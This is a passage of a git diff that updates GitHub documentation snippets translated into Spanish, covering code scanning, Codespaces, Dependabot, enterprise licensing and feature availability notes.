"[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)").| diff --git a/translations/es-ES/data/reusables/code-scanning/github-issues-integration.md b/translations/es-ES/data/reusables/code-scanning/github-issues-integration.md index 35e3199a11..5a0d0eee01 100644 --- a/translations/es-ES/data/reusables/code-scanning/github-issues-integration.md +++ b/translations/es-ES/data/reusables/code-scanning/github-issues-integration.md @@ -1,3 +1,3 @@ {% data variables.product.prodname_code_scanning_capc %} alerts integrate with task lists in {% data variables.product.prodname_github_issues %} to make it easy for you to prioritize and track alerts with all your development work. Para obtener más información acerca de los informes de problemas, consulta la sección "[Acerca de los informes de problemas](/issues/tracking-your-work-with-issues/about-issues)". -To track a code scanning alert in an issue, add the URL for the alert as a task list item in the issue. For more information about task lists, see "[About tasks lists](/issues/tracking-your-work-with-issues/about-task-lists)." +To track a code scanning alert in an issue, add the URL for the alert as a task list item in the issue. Para obtener más información acerca de las listas de tareas, consulta la sección "[Acerca de las listas de tareas](/issues/tracking-your-work-with-issues/about-task-lists)". diff --git a/translations/es-ES/data/reusables/codespaces/about-port-forwarding.md b/translations/es-ES/data/reusables/codespaces/about-port-forwarding.md index 390f8a6ac0..bc09bb4247 100644 --- a/translations/es-ES/data/reusables/codespaces/about-port-forwarding.md +++ b/translations/es-ES/data/reusables/codespaces/about-port-forwarding.md @@ -1 +1 @@ -Puedes reenviar los puertos en tu codespace para probar y depurar tu aplicación. You can also manage the port protocol and share the port within your organization or publicly. +Puedes reenviar los puertos en tu codespace para probar y depurar tu aplicación. También puedes administrar el protocolo de puerto y compartirlo dentro de tu organización o públicamente. diff --git a/translations/es-ES/data/reusables/codespaces/codespaces-api-beta-note.md b/translations/es-ES/data/reusables/codespaces/codespaces-api-beta-note.md index 08771b1c3f..536a70465c 100644 --- a/translations/es-ES/data/reusables/codespaces/codespaces-api-beta-note.md +++ b/translations/es-ES/data/reusables/codespaces/codespaces-api-beta-note.md @@ -1,5 +1,5 @@ {% note %} -**Note**: The {% data variables.product.prodname_codespaces %} API is currently in public beta and subject to change. +**Nota**: La API de {% data variables.product.prodname_codespaces %} se encuentra actualmente en beta público y está sujeto a cambios. {% endnote %} \ No newline at end of file diff --git a/translations/es-ES/data/reusables/codespaces/rebuild-command.md b/translations/es-ES/data/reusables/codespaces/rebuild-command.md index 293c27239d..29c9f0eeea 100644 --- a/translations/es-ES/data/reusables/codespaces/rebuild-command.md +++ b/translations/es-ES/data/reusables/codespaces/rebuild-command.md @@ -1,3 +1,3 @@ -1. Access the {% data variables.product.prodname_vscode_command_palette %} (`Shift + Command + P`/ `Ctrl + Shift + P`), then start typing "rebuild". Selecciona **Codespaces: Reconstruir contenedor**. +1. Accede a la {% data variables.product.prodname_vscode_command_palette %} (`Shift + Command + P`/ `Ctrl + Shift + P`) y luego comienza a escribir "rebuild". Selecciona **Codespaces: Reconstruir contenedor**. ![Opción de recompilar contenedor](/assets/images/help/codespaces/codespaces-rebuild.png) diff --git a/translations/es-ES/data/reusables/codespaces/your-codespaces-procedure-step.md b/translations/es-ES/data/reusables/codespaces/your-codespaces-procedure-step.md index 8c85f3e215..3818dcb741 100644 --- a/translations/es-ES/data/reusables/codespaces/your-codespaces-procedure-step.md +++ b/translations/es-ES/data/reusables/codespaces/your-codespaces-procedure-step.md @@ -1,3 +1,3 @@ -1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Your codespaces**. +1. En la esquina superior derecha de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, haz clic en tu foto de perfil y luego en **Tus codespaces**. ![Opción de menú 'Tus codespaces'](/assets/images/help/codespaces/your-codespaces-option.png) diff --git a/translations/es-ES/data/reusables/dependabot/dependabot-secrets-button.md b/translations/es-ES/data/reusables/dependabot/dependabot-secrets-button.md index 090e35d2e2..a71cd72227 100644 --- a/translations/es-ES/data/reusables/dependabot/dependabot-secrets-button.md +++ b/translations/es-ES/data/reusables/dependabot/dependabot-secrets-button.md @@ -1,2 +1,2 @@ -1. In the sidebar, click **{% data variables.product.prodname_dependabot %}**.{% ifversion fpt or ghec %} ![{% data variables.product.prodname_dependabot %} secrets sidebar option](/assets/images/help/dependabot/dependabot-secrets.png){% else %} +1. En la barra lateral, haz clic en **{% data variables.product.prodname_dependabot %}**.{% ifversion fpt or ghec %} ![{% data variables.product.prodname_dependabot %} secrets sidebar option](/assets/images/help/dependabot/dependabot-secrets.png){% else %} ![{% data variables.product.prodname_dependabot %} secrets sidebar option](/assets/images/enterprise/3.3/dependabot/dependabot-secrets.png){% endif %} diff --git a/translations/es-ES/data/reusables/dependabot/dependabot-tos.md b/translations/es-ES/data/reusables/dependabot/dependabot-tos.md index 6cb6cb424a..a358938079 100644 --- a/translations/es-ES/data/reusables/dependabot/dependabot-tos.md +++ b/translations/es-ES/data/reusables/dependabot/dependabot-tos.md @@ -1,5 +1,5 @@ {% ifversion fpt %} En las [Condiciones de Servicio de {% data variables.product.prodname_dotcom %}](/free-pro-team@latest/github/site-policy/github-terms-of-service) se incluyen al {% data variables.product.prodname_dependabot %} y a todas sus características relacionadas. {% elsif ghec %} -{% data variables.product.prodname_dependabot %} and all related features are covered by your license agreement. For more information, see "[{% data variables.product.company_short %} Enterprise Customer Terms](https://github.com/enterprise-legal)." +Tu acuerdo de licencia cubre al {% data variables.product.prodname_dependabot %} y a todas las características relacionadas. Para obtener más información, consulta la sección "[Términos para clientes de {% data variables.product.company_short %} Enterprise](https://github.com/enterprise-legal)". {% endif %} diff --git a/translations/es-ES/data/reusables/dependabot/pull-request-introduction.md b/translations/es-ES/data/reusables/dependabot/pull-request-introduction.md index c5f163949f..1fe7c62fb2 100644 --- a/translations/es-ES/data/reusables/dependabot/pull-request-introduction.md +++ b/translations/es-ES/data/reusables/dependabot/pull-request-introduction.md @@ -1 +1 @@ -El {% data variables.product.prodname_dependabot %} levanta solicitudes de extracción para actualizar las dependencias. Dependiendo de cómo se configure tu repositorio, el {% data variables.product.prodname_dependabot %} podría levantar solicitudes de extracción para las actualizaciones de versión y/o para las alertas de seguridad. Administrarás estas solicitudes de la misma forma que cualquier otra solicitud de extracción, pero también hay comandos extra disponibles. For information about enabling {% data variables.product.prodname_dependabot %} dependency updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)" and "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-version-updates)." +El {% data variables.product.prodname_dependabot %} levanta solicitudes de extracción para actualizar las dependencias. Dependiendo de cómo se configure tu repositorio, el {% data variables.product.prodname_dependabot %} podría levantar solicitudes de extracción para las actualizaciones de versión y/o para las alertas de seguridad. Administrarás estas solicitudes de la misma forma que cualquier otra solicitud de extracción, pero también hay comandos extra disponibles. Para obtener más información sobre cómo habilitar la actualización de dependencias del {% data variables.product.prodname_dependabot %}, consulta las secciones "[Configurar las {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)" y "[Habilitar e inhabilitar la actualización de versiones del {% data variables.product.prodname_dependabot %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-version-updates)". diff --git a/translations/es-ES/data/reusables/dependabot/pull-request-security-vs-version-updates.md b/translations/es-ES/data/reusables/dependabot/pull-request-security-vs-version-updates.md index d854f55d5c..622bd3c021 100644 --- a/translations/es-ES/data/reusables/dependabot/pull-request-security-vs-version-updates.md +++ b/translations/es-ES/data/reusables/dependabot/pull-request-security-vs-version-updates.md @@ -1,4 +1,4 @@ Cuando el {% data variables.product.prodname_dependabot %} levanta solicitudes de cambio, estas podrían ser para actualizaciones de _seguridad_ o de _versión_: -- _{% data variables.product.prodname_dependabot_security_updates %}_ are automated pull requests that help you update dependencies with known vulnerabilities. -- _{% data variables.product.prodname_dependabot_version_updates %}_ are automated pull requests that keep your dependencies updated, even when they don’t have any vulnerabilities. Para verificar el estado de las actualizaciones de versión, navega a la pestaña de perspectivas de tu repositorio, luego a la gráfica de dependencias, y luego al {% data variables.product.prodname_dependabot %}. +- Las _{% data variables.product.prodname_dependabot_security_updates %}_ son solicitudes de cambios automatizadas que te ayudan a actualizar las dependencias con vulnerabilidades conocidas. +- Las _{% data variables.product.prodname_dependabot_version_updates %}_ son solicitudes de cambios automatizadas que mantienen tus dependencias actualizadas, incluso cuando no tienen vulnerabilidades. Para verificar el estado de las actualizaciones de versión, navega a la pestaña de perspectivas de tu repositorio, luego a la gráfica de dependencias, y luego al {% data variables.product.prodname_dependabot %}. diff --git a/translations/es-ES/data/reusables/desktop/get-an-account.md b/translations/es-ES/data/reusables/desktop/get-an-account.md index 3a727bc762..c909b9ca1d 100644 --- a/translations/es-ES/data/reusables/desktop/get-an-account.md +++ b/translations/es-ES/data/reusables/desktop/get-an-account.md @@ -1,4 +1,4 @@ -you must already have an account on {% data variables.product.product_location %}. +ya debes tener una cuenta en {% data variables.product.product_location %}. -- For more information on creating an account on {% data variables.product.product_location %} account, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account/)". +- Para obtener más información sobre cómo crear una cuenta en {% data variables.product.product_location %}, consulta la sección "[Registrarse para obtener una cuenta nueva de {% data variables.product.prodname_dotcom %}](/articles/signing-up-for-a-new-github-account/)". - Para una cuenta de {% data variables.product.prodname_enterprise %}, contacta a tu administrador de sitio de {% data variables.product.prodname_enterprise %}. diff --git a/translations/es-ES/data/reusables/dotcom_billing/view-all-subscriptions.md b/translations/es-ES/data/reusables/dotcom_billing/view-all-subscriptions.md index 582598b93a..4c60663112 100644 --- a/translations/es-ES/data/reusables/dotcom_billing/view-all-subscriptions.md +++ b/translations/es-ES/data/reusables/dotcom_billing/view-all-subscriptions.md @@ -1 +1 @@ -To view all the subscriptions for your account on {% data variables.product.product_location %}, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)." +Para ver todas las suscripciones de tu cuenta en {% data variables.product.product_location %}, consulta la sección "[Ver tu fecha de facturación y suscripciones](/articles/viewing-your-subscriptions-and-billing-date)". diff --git a/translations/es-ES/data/reusables/enterprise-accounts/emu-short-summary.md b/translations/es-ES/data/reusables/enterprise-accounts/emu-short-summary.md index 22970435d7..4e26577574 100644 --- a/translations/es-ES/data/reusables/enterprise-accounts/emu-short-summary.md +++ b/translations/es-ES/data/reusables/enterprise-accounts/emu-short-summary.md @@ -1 +1 @@ -{% data variables.product.prodname_emus %} es una característica de {% data variables.product.prodname_ghe_cloud %} que proporciona un control aún mayor sobre los miembros y recursos empresariales. Con {% data variables.product.prodname_emus %}, todos los miembros se aprovisionan y administran a través de tu proveedor de identidad (IdP) en vez de que creen sus cuentas propias en {% data variables.product.product_name %}. La membrecía de equipo puede administrarse utilizando grupos en tu IdP. Los {% data variables.product.prodname_managed_users_caps %} se restringen a su empresa y no pueden subir código, colaborar o interactuar con usuarios, repositorios y organizaciones fuera de ella. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +{% data variables.product.prodname_emus %} es una característica de {% data variables.product.prodname_ghe_cloud %} que proporciona un control aún mayor sobre los miembros y recursos empresariales. Con {% data variables.product.prodname_emus %}, todos los miembros se aprovisionan y administran a través de tu proveedor de identidad (IdP) en vez de que creen sus cuentas propias en {% data variables.product.product_name %}. La membrecía de equipo puede administrarse utilizando grupos en tu IdP. Los {% data variables.product.prodname_managed_users_caps %} se restringen a su empresa y no pueden subir código, colaborar o interactuar con usuarios, repositorios y organizaciones fuera de ella. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion not ghec %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %} diff --git a/translations/es-ES/data/reusables/enterprise-accounts/invite-organization.md b/translations/es-ES/data/reusables/enterprise-accounts/invite-organization.md index cff5560722..d91e0fde90 100644 --- a/translations/es-ES/data/reusables/enterprise-accounts/invite-organization.md +++ b/translations/es-ES/data/reusables/enterprise-accounts/invite-organization.md @@ -1 +1 @@ -Enterprise account owners can invite existing organization accounts to join their enterprise. For more information, see "[Inviting an organization to join your enterprise account](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)." +Enterprise account owners can invite existing organization accounts to join their enterprise. Para obtener más información, consulta la sección "[Invitar a una organización para que se una a su cuenta empresarial](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)". diff --git a/translations/es-ES/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md b/translations/es-ES/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md index b4b0898ed6..81341a6b4d 100644 --- a/translations/es-ES/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md +++ b/translations/es-ES/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md @@ -1 +1 @@ -Si utilizas tanto {% data variables.product.prodname_ghe_cloud %} como {% data variables.product.prodname_ghe_server %} y sincronizas el uso de licencias entre los productos, puedes ver el uso de licencias de ambos en {% data variables.product.prodname_dotcom_the_website %}. For more information, see {% ifversion fpt or ghec %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %} +Si utilizas tanto {% data variables.product.prodname_ghe_cloud %} como {% data variables.product.prodname_ghe_server %} y sincronizas el uso de licencias entre los productos, puedes ver el uso de licencias de ambos en {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información, consulta la sección {% ifversion fpt or ghec %}"[Sincronizar el uso de licencia entre {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" en la documentación de {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}"[Sincronizar el uso de licencia entre {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)".{% endif %} diff --git a/translations/es-ES/data/reusables/enterprise/about-deployment-methods.md b/translations/es-ES/data/reusables/enterprise/about-deployment-methods.md index 3f7a43dbd0..0542f6320a 100644 --- a/translations/es-ES/data/reusables/enterprise/about-deployment-methods.md +++ b/translations/es-ES/data/reusables/enterprise/about-deployment-methods.md @@ -1 +1 @@ -{% data variables.product.prodname_enterprise %} ofrece opciones de despliegue. {% ifversion fpt or ghec %}In addition to {% data variables.product.prodname_ghe_cloud %}, you can use {% data variables.product.prodname_ghe_server %} to host development work for your enterprise in your data center or a supported cloud.{% elsif ghes %}In addition to {% data variables.product.product_name %}, you can use {% data variables.product.prodname_ghe_cloud %} to host development work for your enterprise on {% data variables.product.prodname_dotcom_the_website %}.{% endif %} For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products#github-enterprise)." +{% data variables.product.prodname_enterprise %} ofrece opciones de despliegue. {% ifversion fpt or ghec %}Adicionalmente a {% data variables.product.prodname_ghe_cloud %}, puedes utilizar {% data variables.product.prodname_ghe_server %} para hospedar el trabajo de desarrollo de tu empresa en tu centro de datos o en una nube compatible.{% elsif ghes %}Adicionalmente a {% data variables.product.product_name %}, puedes utilizar {% data variables.product.prodname_ghe_cloud %} para hospedar el trabajo de desarrollo para tu empresa en {% data variables.product.prodname_dotcom_the_website %}.{% endif %} Para obtener más información, consulta la sección de "[productos de {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products#github-enterprise)". diff --git a/translations/es-ES/data/reusables/enterprise_enterprise_support/sign-in-to-support.md b/translations/es-ES/data/reusables/enterprise_enterprise_support/sign-in-to-support.md index 0ba2652a00..4cd856d396 100644 --- a/translations/es-ES/data/reusables/enterprise_enterprise_support/sign-in-to-support.md +++ b/translations/es-ES/data/reusables/enterprise_enterprise_support/sign-in-to-support.md @@ -1 +1 @@ -1. If a support engineer has given you an upload link for your support bundle, use this link. Otherwise, visit https://support.github.com/ and sign in (if prompted) to an enterprise account that is entitled to support. +1. Si un ingeniero de soporte te dio un enlace de carga para tu paquete de soporte, utiliza este enlace. De lo contrario, visita https://support.github.com/ e inicia sesión (en caso de que se te solicite hacerlo) en una cuenta empresarial que tenga derechos de soporte. diff --git a/translations/es-ES/data/reusables/enterprise_enterprise_support/submit-support-ticket-first-section.md b/translations/es-ES/data/reusables/enterprise_enterprise_support/submit-support-ticket-first-section.md index 8cc959fe42..3476970670 100644 --- a/translations/es-ES/data/reusables/enterprise_enterprise_support/submit-support-ticket-first-section.md +++ b/translations/es-ES/data/reusables/enterprise_enterprise_support/submit-support-ticket-first-section.md @@ -1,4 +1,4 @@ -1. Under "Your email address", type the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. ![Campo Tu dirección de correo electrónico](/assets/images/enterprise/support/support-ticket-email-address-field.png) +1. Debajo de "Your email address", teclea la dirección de correo electrónico asociada con tu cuenta en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. ![Campo Tu dirección de correo electrónico](/assets/images/enterprise/support/support-ticket-email-address-field.png) 1. Debajo de "Asunto", teclea un título descriptivo para tu problema. ![Campo de asuto](/assets/images/enterprise/support/support-ticket-subject-field.png) 1. Debajo de "Descripción", proporciona información adicional que ayudará al equipo de {% data variables.contact.enterprise_support %} para solucionar el problema. La información útil podría incluir: ![Campo Descripción](/assets/images/enterprise/support/support-ticket-description-field.png) - Pasos para reproducir el incidente diff --git a/translations/es-ES/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md b/translations/es-ES/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md index bdd243b20b..9462d9e18b 100644 --- a/translations/es-ES/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md +++ b/translations/es-ES/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md @@ -16,11 +16,11 @@ Tu instancia requiere un disco de datos persistentes independiente del disco ra {% ifversion ghes %} -To configure {% data variables.product.prodname_actions %}, you must provide external blob storage. Para obtener más información, consulta la sección "[Iniciar con las {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server##external-storage-requirements)". +Para configurar las {% data variables.product.prodname_actions %}, debes proporcionar un almacenamiento de blobs externos. Para obtener más información, consulta la sección "[Iniciar con las {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server##external-storage-requirements)". {% endif %} -The available space on the root filesystem will be 50% of the total disk size. Puedes redimensionar el disco raíz de tu instancia si creas una instancia nueva o si utilizas una instancia existente. For more information, see "[System overview](/enterprise/admin/guides/installation/system-overview#storage-architecture)" and "[Increasing storage capacity](/enterprise/{{ currentVersion }}/admin/guides/installation/increasing-storage-capacity)." +El espacio disponible en el sistema de archivos raíz será de 50% del tamaño total en disco. Puedes redimensionar el disco raíz de tu instancia si creas una instancia nueva o si utilizas una instancia existente. Para obtener más información, consulta las secciones "[Resumen del sistema](/enterprise/admin/guides/installation/system-overview#storage-architecture)" y "[Incrementar la capacidad de almacenamiento](/enterprise/{{ currentVersion }}/admin/guides/installation/increasing-storage-capacity)". ### CPU y memoria @@ -28,7 +28,7 @@ Los recursos de memoria y CPU que {% data variables.product.prodname_ghe_server {% ifversion ghes %} -If you plan to enable {% data variables.product.prodname_actions %} for the users of your {% data variables.product.prodname_ghe_server %} instance, you may need to provision additional CPU and memory resources for your instance. Para obtener más información, consulta la sección "[Iniciar con las {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)". +Si planeas habilitar las {% data variables.product.prodname_actions %} para los usuarios de tu instancia de {% data variables.product.prodname_ghe_server %}, podrías necesitar aprovisionar recursos de memoria y CPU adicionales para esta. Para obtener más información, consulta la sección "[Iniciar con las {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)". {% endif %} diff --git a/translations/es-ES/data/reusables/enterprise_management_console/advanced-security-license.md b/translations/es-ES/data/reusables/enterprise_management_console/advanced-security-license.md index 7c6966f767..89c87fd54b 100644 --- a/translations/es-ES/data/reusables/enterprise_management_console/advanced-security-license.md +++ b/translations/es-ES/data/reusables/enterprise_management_console/advanced-security-license.md @@ -1 +1 @@ -Si no puedes ver la parte de {% ifversion ghes < 3.2 %}**{% data variables.product.prodname_advanced_security %}**{% else %}**Seguridad**{% endif %} en la barra lateral, significa que tu licencia no incluye soporte para las características de la {% data variables.product.prodname_advanced_security %}, incluyendo el {% data variables.product.prodname_code_scanning %} y {% data variables.product.prodname_secret_scanning %}. La licencia de {% data variables.product.prodname_advanced_security %} te permite acceder, a ti y a tus usuarios, a las características que te permiten añadir seguridad a tus repositorios ya tu código. {% ifversion ghes %}Para obtener más información, consulta la sección "[Acerca de GitHub Advanced Security](/github/getting-started-with-github/about-github-advanced-security)" o contacta a {% data variables.contact.contact_enterprise_sales %}.{% endif %} +Si no puedes ver la **{% data variables.product.prodname_advanced_security %}** en la barra lateral, esto significa que tu licencia no incluye soporte para las características de {% data variables.product.prodname_advanced_security %}, incluyendo el {% data variables.product.prodname_code_scanning %} y el {% data variables.product.prodname_secret_scanning %}. La licencia de {% data variables.product.prodname_advanced_security %} te permite acceder, a ti y a tus usuarios, a las características que te permiten añadir seguridad a tus repositorios ya tu código. For more information, see "[About GitHub Advanced Security](/github/getting-started-with-github/about-github-advanced-security)" or contact {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/es-ES/data/reusables/files/choose-commit-email.md b/translations/es-ES/data/reusables/files/choose-commit-email.md index 017f19d701..4c873093f4 100644 --- a/translations/es-ES/data/reusables/files/choose-commit-email.md +++ b/translations/es-ES/data/reusables/files/choose-commit-email.md @@ -1,5 +1,5 @@ {% ifversion fpt or ghec %} -1. If you have more than one email address associated with your account on -{% data variables.product.product_location %}, click the email address drop-down menu and select the email address to use as the Git author email address. Únicamente las direcciones de correo electrónico verificadas aparecen en el menú desplegable. Si habilitaste privacidad de la dirección de correo electrónico, entonces `@users.noreply.github.com` es la dirección de correo electrónico de autor de la confirmación por defecto. Para obtener más información, consulta "[Establecer tu dirección de correo electrónico de confirmación](/articles/setting-your-commit-email-address)". +1. Si tienes más de una dirección de correo electrónico asociada con tu cuenta en +{% data variables.product.product_location %}, haz clic en el menú desplegable de esta y selecciona la dirección de correo electrónico a utilizar como la autora de Git. Únicamente las direcciones de correo electrónico verificadas aparecen en el menú desplegable. Si habilitaste privacidad de la dirección de correo electrónico, entonces `@users.noreply.github.com` es la dirección de correo electrónico de autor de la confirmación por defecto. Para obtener más información, consulta "[Establecer tu dirección de correo electrónico de confirmación](/articles/setting-your-commit-email-address)". ![Escoger direcciones de correo electrónico para confirmaciones](/assets/images/help/repository/choose-commit-email-address.png) {% endif %} diff --git a/translations/es-ES/data/reusables/gated-features/code-review-assignment.md b/translations/es-ES/data/reusables/gated-features/code-review-assignment.md index 27667353f9..de10188a46 100644 --- a/translations/es-ES/data/reusables/gated-features/code-review-assignment.md +++ b/translations/es-ES/data/reusables/gated-features/code-review-assignment.md @@ -1 +1 @@ -Code review settings are available with {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %} 2.20+,{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_cloud %}. Para obtener más información, consulta la sección "[Productos de GitHub](/articles/githubs-products)". +Los ajustes de revisión de código están disponibles con {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %} 2.20+, {% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} y {% data variables.product.prodname_ghe_cloud %}. Para obtener más información, consulta la sección "[Productos de GitHub](/articles/githubs-products)". diff --git a/translations/es-ES/data/reusables/gated-features/dependency-review.md b/translations/es-ES/data/reusables/gated-features/dependency-review.md index 8262e97e6a..1b3fc0f8f3 100644 --- a/translations/es-ES/data/reusables/gated-features/dependency-review.md +++ b/translations/es-ES/data/reusables/gated-features/dependency-review.md @@ -1,3 +1,3 @@ -{% ifversion fpt or ghec %}La reviesión de dependencias se encuentra disponible para todos los repositorios públicos y para aquellos privados que pertenezcan a organizaciones en donde se haya habilitado la {% data variables.product.prodname_GH_advanced_security %}.{% endif %} +{% ifversion fpt or ghec %}Dependency review is available for all public repositories, as well as well as private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled.{% endif %} {% ifversion ghes > 3.1 %}La revisión de dependencias se encuentra disponible para los repositorios que pertenecen a las organizaciones en donde se encuentra habilitada la {% data variables.product.prodname_GH_advanced_security %}. {% endif %} {% data reusables.advanced-security.more-info-ghas %} diff --git a/translations/es-ES/data/reusables/gated-features/ghas.md b/translations/es-ES/data/reusables/gated-features/ghas.md index cf5d023b9f..c8d91d338a 100644 --- a/translations/es-ES/data/reusables/gated-features/ghas.md +++ b/translations/es-ES/data/reusables/gated-features/ghas.md @@ -1 +1 @@ -{% data variables.product.prodname_GH_advanced_security %} is available for enterprise accounts on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} {% data variables.product.prodname_GH_advanced_security %} is also included in all public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %} For more information, see "[About GitHub's products](/github/getting-started-with-github/githubs-products)." +La {% data variables.product.prodname_GH_advanced_security %} se encuentra disponible para las cuentas empresariales en {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} y {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} La {% data variables.product.prodname_GH_advanced_security %} también se incluye en los repositorios públicos en {% data variables.product.prodname_dotcom_the_website %}.{% endif %} para obtener más información, consulta la sección "[Acerca de los productos de GitHub](/github/getting-started-with-github/githubs-products)". diff --git a/translations/es-ES/data/reusables/gated-features/internal-repos.md b/translations/es-ES/data/reusables/gated-features/internal-repos.md index 0f522b719f..3f499eedc5 100644 --- a/translations/es-ES/data/reusables/gated-features/internal-repos.md +++ b/translations/es-ES/data/reusables/gated-features/internal-repos.md @@ -1,7 +1,7 @@ {% ifversion fpt %} -Internal repositories are available on -{% data variables.product.prodname_ghe_cloud %} for organizations that are owned by an enterprise account and {% data variables.product.prodname_ghe_server %} 2.20+. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation. +Los repositorios internos se encuentran disponibles en +{% data variables.product.prodname_ghe_cloud %} para las organizaciones que pertenezcan a una cuenta empresarial y en {% data variables.product.prodname_ghe_server %} 2.20+. Para obtener más información, consulta las secciones "[Productos de {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products) y "[Acerca de las cuentas empresariales](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" en la documentación de {% data variables.product.prodname_ghe_cloud %}. {% else %} -Internal repositories are available on -{% data variables.product.prodname_ghe_cloud %} for organizations that are owned by an enterprise account{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %} 2.20+. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)" and "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +Los repositorios internos se encuentran disponibles en +{% data variables.product.prodname_ghe_cloud %} para organizaciones que pertenezcan a una cuenta empresarial{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %}m {% endif %} y {% data variables.product.prodname_ghe_server %} 2.20+. Para obtener más información, consulta las secciones "[Productos de {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products)" y "[Acerca de las cuentas empresariales](/admin/overview/about-enterprise-accounts)". {% endif %} diff --git a/translations/es-ES/data/reusables/gated-features/okta-team-sync.md b/translations/es-ES/data/reusables/gated-features/okta-team-sync.md deleted file mode 100644 index 185349544a..0000000000 --- a/translations/es-ES/data/reusables/gated-features/okta-team-sync.md +++ /dev/null @@ -1,9 +0,0 @@ -{% ifversion not ghae %} - -{% note %} - -**Nota:** La sincronización de equipos con Okta se encuentra actualmente en beta y está sujeta a cambios. Por favor contacta a tu representante de cuenta de Ventas de GitHub para registrarte para el beta. - -{% endnote %} - -{% endif %} diff --git a/translations/es-ES/data/reusables/gated-features/private-pages.md 